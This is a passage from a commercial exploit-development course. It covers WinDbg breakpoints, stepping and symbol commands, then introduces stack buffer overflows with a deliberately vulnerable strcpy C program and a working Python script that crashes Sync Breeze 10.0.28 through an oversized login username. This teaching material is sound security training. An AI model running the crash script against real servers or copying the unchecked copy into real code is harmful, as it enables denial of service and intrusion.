In our case, we chose to display the value pointed to by the ESP register at offset 0x0C (12 bytes),
which corresponds to the number of bytes to write to the target file (third argument) when
kernel32!WriteFile is called. This is defined in the WriteFile prototype:
BOOL WriteFile(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);

Listing - 29 - WriteFile function prototype

This is because the Windows x86 API makes use of the __stdcall calling convention in which the
function arguments are pushed on the stack in reverse order (right to left). In this case, each
argument occupies four bytes of memory on the stack.38

35
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/command-tokens
36
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-printf
37
(Wikipedia, 2019), https://en.wikipedia.org/wiki/Printf_format_string
38
Handles, pointers and dwords are all 4 bytes on Windows x86.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 45
Windows User Mode Exploit Development

After we set up our breakpoint, we let the application continue execution using g and then
proceed to type a string in Notepad and save it to a file. WinDbg should then print the length of
the string we saved, as shown below:
0:005> g
[SNIP...]
The number of bytes written is: 00000003
The number of bytes written is: 00000006
The number of bytes written is: 00000012
Listing - 30 - .printf outputs the number of bytes written to a file

Another powerful feature of WinDbg is the ability to set conditional breakpoints. As the name
suggests, conditional breakpoints break the execution flow only if a specific condition is satisfied.
In the following example, we are going to use the .if and .else commands39 to set a conditional
breakpoint on the kernel32!WriteFile Windows API again. In this example, we will halt the
execution flow only if we write exactly four bytes of data to a file from Notepad. We can
accomplish this with the following syntax:
0:001> bp kernel32!WriteFile ".if (poi(esp + 0x0C) != 4) {gc} .else {.printf \"The
number of bytes written is 4\";.echo;}"

0:001> g
Listing 31 - Setting a conditional breakpoint.

When our breakpoint on WriteFile is triggered, we use gc (go from conditional breakpoint) to
resume execution, unless the nNumberOfBytesToWrite argument (third argument on the stack) is
equal to “4”.
If this is the case, the string “The number of bytes written is 4” is printed to the command window,
as shown in Listing 32.
The number of bytes written is 4
eax=002fe740 ebx=0081b3a8 ecx=dae4b044 edx=0081b3b0 esi=00000004 edi=068eb378
eip=7560c6d0 esp=002fe720 ebp=002fe754 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
KERNEL32!WriteFile:
7560c6d0 ff2590446675 jmp dword ptr [KERNEL32!_imp__WriteFile (75664490)]
ds:0023:75664490={KERNELBASE!WriteFile (742ab160)}
Listing 32 - The execution halts only when the EAX register is non zero.

We can also combine conditional breakpoints with the .printf command. This can be useful, for
example, if the debugged code performs a loop and we want to monitor some memory content or
CPU register value at every iteration without breaking execution flow.
The examples shown in this section are rather basic, but mastering the use of breakpoint
commands can accelerate our efforts by automating many tedious tasks.
Next, we are going to explore hardware breakpoints and see their benefits over software
breakpoints.

39
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-a-conditional-breakpoint

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 46
Windows User Mode Exploit Development

2.4.3.1 Exercises
1. Experiment with the .printf command to display memory content when a breakpoint is
triggered.
2. Experiment with the .if and .else commands to only break on a specific number of written
bytes.
3. When breaking at the kernel32!WriteFile function, try to determine if the number of written
bytes is also found in a register. If so, try to change the conditional breakpoint to examine
that register rather than the argument on the stack.

2.4.4 Hardware Breakpoints


Hardware or processor breakpoints40 are handled by the processor and stored in the processor’s
debug registers.41 They can stop code execution when a particular type of access, such as read,
write, or execute,42 is made to a targeted memory location.
The primary advantage of hardware breakpoints is that they provide the ability to monitor
changes or access to data in memory. This can be a timesaver when we reverse engineer code.
However, the x86 and x64 architectures only use four debug registers, so unlike software
breakpoints, we are limited by the number of processor breakpoints.
To set a hardware breakpoint in WinDbg, we need to pass three arguments to the ba command.
The first is the type of access, which can be either e (execute), r (read), or w (write). The second
one is the size in bytes for the specified memory access, and finally, the third argument is the
memory address where we want to set the breakpoint at.43
In the next example, we are going to set a hardware breakpoint on the execution of the WriteFile
API. The outcome is equivalent to setting a software breakpoint, but in this case, we leverage the
CPU and the debug registers, rather than altering the code with an INT 3 instruction.
0:000> ba e 1 kernel32!WriteFile

0:000> g
Listing 33 - Setting a hardware breakpoint on execute access

Similar to a software breakpoint, we must allow execution to continue and save a file to disk to
trigger our breakpoint.
Breakpoint 1 hit
eax=02e3ee20 ebx=02fb7ba0 ecx=55c78079 edx=02fb7be0 esi=00000020 edi=086ee1a8
eip=767ec6d0 esp=02e3ee00 ebp=02e3ee34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
KERNEL32!WriteFile:

40
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/processor-breakpoints---ba-breakpoints-
41
(Wikipedia, 2019), https://en.wikipedia.org/wiki/X86_debug_register
42
In kernel debugging it’s possible to set a hardware breakpoint also when the I/O port at the specified Address is accessed. This
particular processor breakpoint can be set through the “i” access parameter.
43
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/ba--break-on-access-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 47
Windows User Mode Exploit Development

767ec6d0 ff2590448476 jmp dword ptr [KERNEL32!_imp__WriteFile (76844490)]


ds:0023:76844490={KERNELBASE!WriteFile (7466b160)}
Listing 34 - Hitting the hardware breakpoint on execute access

As shown in the listing above, when the breakpoint is hit, the output is identical to the one
obtained through a software breakpoint.
Let’s move on to a more interesting case and experiment with hardware breakpoints and a
different type of memory address. In the next example, we are going to write a string in Notepad
and search for that string in memory with the help of the debugger. Once we find our data in
memory, we’ll set a hardware breakpoint on write access at the memory address where our string
is located. We’ll then resume program execution and attempt to change our string from within
Notepad. At this point, we expect our breakpoint to be triggered since the program will attempt to
access our string in memory to change it.
The first step is to write our string in Notepad. We’ll use a string (“w00tw00t”) that hopefully
should not already be in the notepad.exe memory space, as ideally we want our search to return a
single result. Then, we’ll save the file, close the Notepad application, and re-open the text file by
double-clicking it. We will then attach WinDbg to the Notepad process, which will halt the
execution.

The steps outlined above (saving the file, closing Notepad, and re-opening the
file) are essential to obtain a single instance of the string in memory. Deviation
from these steps will produce different results, making the following example
hard to follow.

We then proceed to search the entire memory space of the application for our unique string
within WinDbg. We’ll search for both ASCII (s -a) and Unicode (s -u) strings, as shown below:
0:002> s -a 0x0 L?80000000 w00tw00t

0:002> s -u 0x0 L?80000000 w00tw00t


03b2c768 0077 0030 0030 0074 0077 0030 0030 0074 w.0.0.t.w.0.0.t.
Listing 35 - Searching for our unique string in the Notepad memory space

Listing 35 shows that we were presented with one search result and our string has been saved to
memory in Unicode format.
We will set a hardware breakpoint on the memory address found by our search. Specifically, we
will set a breakpoint on write access at the first two bytes of our Unicode string (0x00 and 0x77 at
address 0x03b2c768 in Listing 35). By doing this, the execution should break only if our changes
to the string in Notepad affect the first character of the “w00tw00t” string.
0:002> ba w 2 03b2c768

0:002> bl
0 e Disable Clear 03b2c768 w 2 0001 (0001) 0:****

0:002> g
Listing 36 - Setting hardware breakpoint on write access

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 48
Windows User Mode Exploit Development

Now that the breakpoint is set and the execution is resumed, let’s test it by selecting the entire
string in Notepad and replacing it with a single lowercase case “a” character.
Breakpoint 0 hit
eax=03a5f861 ebx=03a5f884 ecx=00000000 edx=00000002 esi=03a5f8ec edi=03b2c768
eip=773c8a6c esp=03a5f824 ebp=03a5f82c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
msvcrt!memmove+0x19c:
773c8a6c 8a4601 mov al,byte ptr [esi+1] ds:0023:03a5f8ed=00
Listing 37 - Hitting the hardware breakpoint on write access

The breakpoint halts execution at the program instruction following the one that altered our
Unicode string buffer. The previous instruction can be found in the WinDbg disassembly window,
as shown in Figure 13.

Figure 13: Assembly instruction that changed our string

According to Figure 13, the instruction that triggered our hardware breakpoint was mov byte ptr
[edi],al, part of the memmove44 function located in msvcrt.dll. Notice how the EDI register points to
our Unicode string:
0:000> du edi
03b2c768 "a00tw00t"

0:000> bc *

0:000> g
Listing 38 - Inspecting our string after the breakpoint has been hit

44
(Microsoft, 2016), https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memmove-wmemmove?view=msvc-160

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 49
Windows User Mode Exploit Development

Interestingly enough, Notepad appears to keep the original string in memory except for the
character we changed (in this case the lower case “a” ASCII character). Why this happens strictly
depends on how the application code handles changes on the data and is beyond the scope of
this exercise. However, we were able to identify the code that modified our string in memory.
Hardware breakpoints can be extremely useful when trying to find where data is being handled
during the execution flow of an application. Getting comfortable with them and recognizing when
to use them can save significant time during both reverse engineering and exploit development.

2.4.4.1 Exercises
1. Experiment with hardware breakpoints to trigger a break when executing the WriteFile API.
2. Replicate the above example but change the hardware breakpoint to trigger when you
attempt to replace the last letter of the string.

2.4.5 Stepping Through the Code


After halting the application flow, we can use p and t to step over, and into each instruction,
respectively.
Specifically, the p command will execute one single instruction at a time and steps over function
calls, and t will do the same, but will also step into function calls.
Let’s restart Notepad and re-attach WinDbg to it. Once attached, we will set a software breakpoint
at the kernelbase!CreateFileW API and let the execution continue (g).
With our breakpoint set, we will try to write an arbitrary string in the application and attempt to
save the file, which should trigger our breakpoint. In order to demonstrate the previously
mentioned commands, we will set another breakpoint at kernelbase!CreateFileW+0x53 and once
again let the execution flow resume.
Listing 39 shows the use of the p and t commands to increment execution one instruction at a
time. At the call instruction,45 the “step into” command transitions execution into the nested
function and continues debugging at the function’s first instruction.
eax=003cadc0 ebx=00000007 ecx=0630b798 edx=80000000 esi=00000000 edi=0630b798
eip=74bb61f3 esp=003cadb8 ebp=003caddc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!CreateFileW+0x53:
74bb61f3 ff7518 push dword ptr [ebp+18h] ss:0023:003cadf4=00000003

0:000> p
eax=003cadc0 ebx=00000007 ecx=0630b798 edx=80000000 esi=00000000 edi=0630b798
eip=74bb61f6 esp=003cadb4 ebp=003caddc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!CreateFileW+0x56:
74bb61f6 ff7510 push dword ptr [ebp+10h] ss:0023:003cadec=00000007

0:000> p
eax=003cadc0 ebx=00000007 ecx=0630b798 edx=80000000 esi=00000000 edi=0630b798

45
(Aldeid, 2015), https://www.aldeid.com/wiki/X86-assembly/Instructions/call

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 50
Windows User Mode Exploit Development

eip=74bb61f9 esp=003cadb0 ebp=003caddc iopl=0 nv up ei pl zr na pe nc


cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!CreateFileW+0x59:
74bb61f9 e812000000 call KERNELBASE!CreateFileInternal (74bb6210)

0:000> t
eax=003cadc0 ebx=00000007 ecx=0630b798 edx=80000000 esi=00000000 edi=0630b798
eip=74bb6210 esp=003cadac ebp=003caddc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!CreateFileInternal:
74bb6210 8bff mov edi,edi
Listing 39 - Stepping through the code and following the execution flow

We can use the “step into” and “step over” commands interchangeably, except when encountering
a call instruction. In Listing 40, the same piece of code is executed, but we step over the call
instead.
eax=003cadc0 ebx=00000007 ecx=0630b798 edx=80000000 esi=00000000 edi=0630b798
eip=74bb61f9 esp=003cadb0 ebp=003caddc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!CreateFileW+0x59:
74bb61f9 e812000000 call KERNELBASE!CreateFileInternal (74bb6210)
0:000> p
eax=003cadc0 ebx=00000007 ecx=0630b798 edx=80000000 esi=00000000 edi=0630b798
eip=74bb61f9 esp=003cadb0 ebp=003caddc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!CreateFileW+0x5e:
74bb61fe 8be5 mov esp,ebp
Listing 40 - Stepping over the function call

Here we observe that with the p command, we’ll continue through the application without taking
any detours through nested functions.
Another convenient command is pt46 (step to next return), which allows us to fast-forward to the
end of a function.
eax=003cadc0 ebx=00000007 ecx=0630b798 edx=80000000 esi=00000000 edi=0630b798
eip=74bb6210 esp=003cadac ebp=003caddc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!CreateFileInternal:
74bb6210 8bff mov edi,edi

0:000> pt
eax=000007f8 ebx=00000007 ecx=226410a5 edx=00000000 esi=00000000 edi=0630b798
eip=74bb6580 esp=003cadac ebp=003caddc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!CreateFileInternal+0x370:
74bb6580 c21000 ret 10h
Listing 41 - Execute until return

The listing above shows the execution continuing until the first ret instruction, which is typically at
the end of the current function.

46
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/pt--step-to-next-return-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 51
Windows User Mode Exploit Development

Like the pt command, ph47 executes code until a branching instruction is reached. This includes
conditional or unconditional branches, function calls, and return instructions.
We have covered the main tools that help us step through the application’s code. Now let’s dive
into additional WinDbg features.

2.4.5.1 Exercises
1. Launch WinDbg and attach it to a new instance of Notepad.
2. Set a breakpoint on kernel32!WriteFile and trigger it by saving a file.
3. Step through the instructions using the p, t, ph, and pt commands. Make sure you
understand the differences between them.

2.5 Additional WinDbg Features


So far, we have discussed how to access and manipulate memory as well as how we can control
the execution flow of the debugged application.
Next, we’ll explore additional WinDbg functionality such as evaluations, conversions, and pseudo-
registers.

2.5.1 Listing Modules and Symbols in WinDbg


It’s often useful to inspect which modules have been loaded in the process memory space.
We can issue the lm command to display all loaded modules, including their starting and ending
addresses in virtual memory space:
0:007> lm
start end module name
002b0000 002ef000 notepad (deferred)
611e0000 61236000 oleacc (deferred)
68a70000 68ae6000 efswrt (deferred)
69c30000 69c47000 MPR (deferred)
69ce0000 69d4c000 WINSPOOL (deferred)
[...]
Listing 42 - Listing loaded modules

The fourth column of Listing 42 provides information about the symbol files for a given module.
When we execute the command against a freshly opened instance of Notepad, no symbols are
loaded. However, we can force a reload of the symbols with .reload /f and then relist the
modules:
0:007> .reload /f
Reloading current modules
...................................................

0:007> lm
start end module name

47
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/ph--step-to-next-branching-instruction-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 52
Windows User Mode Exploit Development

002b0000 002ef000 notepad (pdb symbols)


c:\symbols\notepad.pdb\FB4FCA58AFCC3ACA154240CE7B7A58131\notepad.pdb
611e0000 61236000 oleacc (pdb symbols)
c:\symbols\oleacc.pdb\170302085B3679B8C6F657898A44607E1\oleacc.pdb
68a70000 68ae6000 efswrt (pdb symbols)
c:\symbols\efswrt.pdb\7E1B78CB6EF19B073B4F4A354501F7D31\efswrt.pdb
69c30000 69c47000 MPR (pdb symbols)
c:\symbols\mpr.pdb\8E907DDAD5CCF1C8EE24214E569B592E1\mpr.pdb
69ce0000 69d4c000 WINSPOOL (pdb symbols)
c:\symbols\winspool.pdb\6E59EFAE2D1C35E1E07A45A4EDE324681\winspool.pdb
[...]
Listing 43 - Loading symbols and listing loading modules

When a PDB file is not available for a given module, WinDbg will default to the
export symbols mode. In this case, the debugger will attempt to gather the
names of the symbols exported by the module through the Export Directory
Table.48

The lm command can also filter modules by accepting the wildcard (*) character, together with
the module pattern parameter m. In Listing 44, we are filtering to show all modules starting with
“kernel”:
0:007> lm m kernel*
Browse full module list
start end module name
73c70000 73c7e000 kernel_appcore (pdb symbols)
c:\symbols\Kernel.Appcore.pdb\E809C8B1302B9976E49A0476E5D627491\Kernel.Appcore.pdb
73ce0000 73eb8000 KERNELBASE (pdb symbols)
c:\symbols\kernelbase.pdb\13D9C53AB6F8551B30ABB78D4F9A1F8A1\kernelbase.pdb
74a80000 74b15000 KERNEL32 (pdb symbols)
c:\symbols\kernel32.pdb\EFA698598E9A5A3CB89EC02E7DE288041\kernel32.pdb
Listing 44 - Listing only specific modules

Once we have the list of modules, we can learn more about their symbols by using the x
(examining symbol) command.49 In the following example, we dump information regarding the
symbols present from the KERNELBASE module. Notice how we use the wildcard to display all
the symbols that start with “CreateProc”:
0:002> x kernelbase!CreateProc*
752362e4 KERNELBASE!CreateProcessExtensions::ErrorContext::LogError (<no
parameter info>)
751f2670 KERNELBASE!CreateProcessAsUserA (<no parameter info>)
751ed550 KERNELBASE!CreateProcessAsUserW (<no parameter info>)
751d6ace KERNELBASE!CreateProcessExtensions::IsDefaultBrowserCreation (<no
parameter info>)
751ecba4 KERNELBASE!CreateProcessExtensions::ReleaseAppXContext (<no
parameter info>)

48
(Microsoft, 2019), https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table
49
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/x--examine-symbols-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 53
Windows User Mode Exploit Development

751d7564
KERNELBASE!CreateProcessExtensions::VerifyParametersAndGetEffectivePackageMoniker (<no
parameter info>)
752360e6 KERNELBASE!CreateProcessExtensions::CreateSharedLocalFolder (<no
parameter info>)
751d6cb2 KERNELBASE!CreateProcessExtensions::PreCreationExtension (<no
parameter info>)
751c1010 KERNELBASE!CreateProcessInternalW (<no parameter info>)
751c4ad0 KERNELBASE!CreateProcessA (<no parameter info>)
751c4e70 KERNELBASE!CreateProcessW (<no parameter info>)
751c3630 KERNELBASE!CreateProcessInternalA (<no parameter info>)
Listing 45 - Listing functions by partial symbol

The x command from Listing 45 can be very useful to quickly dump symbols if we either don’t
know or can’t remember the full name.

2.5.2 Using WinDbg as a Calculator


Doing calculations in a debugger might seem trivial, but it saves us the annoyance of switching
between applications during the debugging process.
Mathematical calculations are performed by the evaluate expression command, ?.50 We often
have to perform tasks such as finding the difference between two addresses or finding lower or
upper byte values of a DWORD. WinDbg easily solves this, as shown in Listing 46:
0:007> ? 77269bc0 - 77231430
Evaluate expression: 231312 = 00038790

0:007> ? 77269bc0 >> 18


Evaluate expression: 119 = 00000077
Listing 46 - Using WinDbg as a calculator

The input for ? is assumed to be in hex format unless we use the 0n or 0y prefix discussed in the
next section.
Using WinDbg as a calculator, we can perform mathematical operations like addition, subtraction,
multiplication, and division, plus complex operations such as modulo, exponent, and left and right
bitwise shifting.

2.5.3 Data Output Format


By default, WinDbg displays content in hexadecimal format. However, sometimes we will need
data in a different form.
Fortunately, we can convert the hex representation to decimal or binary format. We can do this
with the 0n and 0y prefixes respectively. We can observe some conversion examples shown
below using the evaluate expression command ?.
0:000> ? 41414141
Evaluate expression: 1094795585 = 41414141

50
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/---evaluate-expression-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 54
Windows User Mode Exploit Development

0:000> ? 0n41414141
Evaluate expression: 41414141 = 0277edfd

0:000> ? 0y1110100110111
Evaluate expression: 7479 = 00001d37
Listing 47 - Converting between formats in WinDbg

Here we convert the hex number 41414141 to decimal, then convert the decimal number
0n41414141 to hexadecimal, and finally we convert the binary 0y1110100110111 to decimal and
hexadecimal.
The .formats command is also useful for converting between different formats at once,
including the ASCII representation of the value as shown below.
0:000> .formats 41414141
Evaluate expression:
Hex: 41414141
Decimal: 1094795585
Octal: 10120240501
Binary: 01000001 01000001 01000001 01000001
Chars: AAAA
Time: Fri Sep 10 07:53:05 2004
Float: low 12.0784 high 0
Double: 5.40901e-315
Listing 48 - The .formats command can be really useful

2.5.3.1 Exercise
1. Experiment with the data format conversion using both the specific data type prefixes and
the .formats command.

2.5.4 Pseudo Registers


WinDbg has a series of Pseudo Registers.51 These are not registers used by the CPU but are
variables pre-defined by WinDbg. Many of these pseudo registers, like $teb, which we used earlier,
have a predefined meaning.
There are 20 user-defined pseudo registers named $t0 to $t19 that can be used as variables
during mathematical calculations. We can also perform calculations by directly using these
pseudo registers together with explicit values.

When using pseudo registers as well as regular registers, it is recommended to


prefix them with the “@” character. This tells WinDbg to treat the content as a
register or pseudo register. It speeds up the evaluation process because WinDbg
will not try to resolve it as a symbol first.

Sometimes we have to perform complicated calculations when reverse engineering or developing


an exploit. A somewhat complicated fictitious calculation is shown in Listing 49.

51
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/pseudo-register-syntax

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 55
Windows User Mode Exploit Development

0:000> ? ((41414141 - 414141) * 0n10) >> 8


Evaluate expression: 42598400 = 028a0000
Listing 49 - Performing complicated calculations

The same calculation can be performed with a pseudo register. Here we use the $t0 pseudo
register and store the value of the first calculation. Then we read the $t0 register and WinDbg
outputs the result to verify the value. Finally, we right-shift $t0 by 8 bits to get the final result. This
process is shown in Listing 50.
0:000> r @$t0 = (41414141 - 414141) * 0n10

0:000> r @$t0
$t0=8a000000*

0:000> ? @$t0 >> 8


Evaluate expression: 42598400 = 028a0000
Listing 50 - Using pseudo registers during calculations

Pseudo registers allow us to store values or split up computations, and we’ll use them in later
modules.

2.6 Wrapping Up
This concludes the WinDbg and x86 architecture introductory module. We covered multiple
commands and techniques that will be useful throughout this course.
Although WinDbg is relatively unintuitive, it is extremely powerful and proficiency is required for
the rest of this course. Carefully review the steps in this module and master each exercise. Also,
learn to rely on .hh, the built-in manual command, and refer to the cheat sheet52 for a quick
review.

52
(Windbg, 2009), http://windbg.info/doc/1-common-cmds.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 56
Windows User Mode Exploit Development

3 Exploiting Stack Overflows


In this module, we will examine a buffer overflow53 in the Sync Breeze application.54 We’ll learn
how to use this memory corruption vulnerability to control the execution flow of an application.
We will begin with a simple proof of concept that causes the application to crash. Afterwards, we
will slowly expand the proof of concept to gain control of the CPU registers, eventually
manipulating memory to gain reliable remote code execution.
In order to develop an exploit for this type of vulnerability, we need to understand the conditions
that make a stack overflow attack possible. Before we tackle the application, we will cover the
foundational concepts around this vulnerability class by analyzing a very basic example.

3.1 Stack Overflows Introduction


The following listing presents a very basic C source code for an application vulnerable to a buffer
overflow.
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])


{
char buffer[64];

if (argc < 2)
{
printf("Error - You must supply at least one argument\n");

return 1;
}

strcpy(buffer, argv[1]);

return 0;
}
Listing 51 - A vulnerable C function

Even if you have never dealt with C code before, it should be fairly easy to understand the logic
shown in the listing above. First of all, it’s worth noting that in C, the main function is treated the
same as every other function; it can receive arguments, return values to the calling program, etc.
The only difference is that it is “called” by the operating system itself when the process starts.
In this case, the main function first defines a character array named buffer that can fit up to 64
characters. Since this variable is defined within a function, the C compiler55 will treat it as a local

53
(Wikipedia, 2020), https://en.wikipedia.org/wiki/Buffer_overflow
54
(Flexense, 2019), http://www.syncbreeze.com/
55
(Wikipedia, 2019), https://en.wikipedia.org/wiki/Compiler

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 57
Windows User Mode Exploit Development

variable56 and will reserve space (64 bytes) for it on the stack. Specifically, this memory space will
be reserved within the main function stack frame during its execution when the program runs.

As the name suggests, local variables have a local scope,57 which means they
are only accessible within the function or block of code they are declared in. In
contrast, global variables58 are stored in the program .data section, a different
memory area of a program that is globally accessible by all the application code.

The program then proceeds to copy (strcpy59) the content of the given command-line argument
(argv[1]60) into the buffer character array. Note that the C language does not natively support
strings as a data type. At a low level, a string is a sequence of characters terminated by a null
character (‘\0’), or put another way, a one-dimensional array of characters.
Finally, the program terminates its execution and returns a zero (standard success exit code) to
the operating system.
When we call this program, we will pass command-line arguments to it. The main function
processes these arguments with the help of the two parameters, argc and argv, which represent
the number of the arguments passed to the program (passed as an integer) and an array of
pointers to the argument “strings” themselves, respectively.
If the argument passed to the main function is 64 characters or less, this program will work as
expected and will exit normally. However, since there are no checks on the size of the input, if the
argument is longer, say 80 bytes, part of the stack adjacent to the target buffer will be overwritten
by the remaining 16 characters, overflowing the array boundaries. This is illustrated in Figure 14.

56
(Wikipedia, 2019), https://en.wikipedia.org/wiki/Local_variable
57
(Wikipedia, 2019), https://en.wikipedia.org/wiki/Scope_(computer_science)
58
(Wikipedia, 2019), https://en.wikipedia.org/wiki/Global_variable
59
(linux.die.net), https://linux.die.net/man/3/strcpy
60
(GBdirect), https://publications.gbdirect.co.uk//c_book/chapter10/arguments_to_main.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 58
Windows User Mode Exploit Development

Figure 14: Stack layout before and after copy

The effects of this memory corruption depend on multiple factors including the size of the
overflow and the data included in that overflow. As shown in the above figure, if the overflow is
large enough, the attacker might be able to overwrite the return address of the vulnerable function
on the stack with controlled data.
Recalling function return mechanics concepts from a previous module, we know that when a
function ends its execution, the return address is taken from the stack and used to restore the
execution flow to the calling function. In our basic example, when this happens for the main
function, the overwritten return address will be popped into the Extended Instruction Pointer (EIP)
CPU register.
At this point, the CPU will try to read the next instruction from 0x41414141 (0x41 is the
hexadecimal representation of the ASCII character “A”). Since this is not a valid address in the
process memory space, the CPU will trigger an access violation, crashing the application.
Once again, it’s important to keep in mind that the EIP register is used by the CPU to direct code
execution at the assembly level. Therefore, obtaining reliable control of EIP would allow us to
execute any assembly code we want and eventually shellcode61 to obtain a reverse shell in the
context of the vulnerable application. We will follow this through to completion later in this
module with the Sync Breeze buffer overflow.

61
(Wikipedia, 2019), https://en.wikipedia.org/wiki/Shellcode

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 59
Windows User Mode Exploit Development

3.2 Installing the Sync Breeze Application


Now that we understand the concepts behind buffer overflows, let’s develop our test case.
First, we need to install the syncbreezeent_setup_v10.0.28 application located in the
C:\Installers\stack_overflow\ folder; we will accept all the default installation options during this
process. After installation is complete, we will tick the box that says Run Sync Breese Enterprise
10.0.28 as shown in Figure 15:

Figure 15: Finishing the Sync Breeze installation

Next, let’s enable the web server by clicking the Options button as shown in Figure 16:

Figure 16: Accessing Sync Breeze options

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 60
Windows User Mode Exploit Development

Next, we select Server from the left side menu and tick the Enable Web Server on Port: option,
leaving the default port as 80.

Figure 17: Enabling Sync Breeze Web Server

This application will crash multiple times during our exploit development, so we need the ability to
quickly restart it. This can be done from the Services.msc utility by restarting the Sync Breeze
Enterprise service as an Administrator.

3.2.1.1 Exercise
1. Install the Sync Breeze application on your Windows 10 student VM.

3.3 Crashing the Sync Breeze Application


In 2017, a buffer overflow vulnerability was discovered in the login mechanism of Sync Breeze
version 10.0.28. Specifically, the username field of the HTTP POST login request could be used to
crash the application.62 Since working credentials are not required to trigger the vulnerability, it is
considered a pre-authentication buffer overflow.
Generally speaking, there are three primary techniques for identifying flaws in applications.
Source code review is likely the easiest if it is available. If it is not, we can use reverse engineering
techniques63 or fuzzing64 to find vulnerabilities. Later in this course, we will focus on reverse
engineering but since this vulnerability is public and an initial proof of concept (PoC) is available
on the Exploit Database website, we will for now focus only on the exploitation of the target
application.

62
(Exploit-DB - Sync Breeze Enterprise 10.0.28 - Denial of-Service, 2017), https://www.exploit-db.com/exploits/43200
63
(Wikipedia, 2020), https://en.wikipedia.org/wiki/Reverse_engineering
64
(Wikipedia, 2019), https://en.wikipedia.org/wiki/Fuzzing

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 61
Windows User Mode Exploit Development

Let’s start by copying the Python proof of concept to our Kali machine:
#!/usr/bin/python
import socket
import sys

try:
server = sys.argv[1]
port = 80
size = 800
inputBuffer = b"A" * size
content = b"username=" + inputBuffer + b"&password=A"

buffer = b"POST /login HTTP/1.1\r\n"


buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101
Firefox/52.0\r\n"
buffer += b"Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content

print("Sending evil buffer...")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()

print("Done!")

except socket.error:
print("Could not connect!")
Listing 52 - stack_overflow_0x01.py: Triggering the initial crash

The code in Listing 52 crafts a login HTTP POST request in which we specify a username of 800
“A” characters. The code then connects on port 80 to the remote server passed as an argument
to the script, and sends the request.
In order to verify that this code actually works as expected, we will first attach our debugger to the
target process. This will allow us to inspect the target process memory and CPU registers in case
the application crashes.
Since the syncbrs.exe application runs as a service with Local System account privileges, we will
need to run WinDbg with administrator permissions.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 62
Windows User Mode Exploit Development

Figure 18: Sync Breeze Enterprise Service Properties

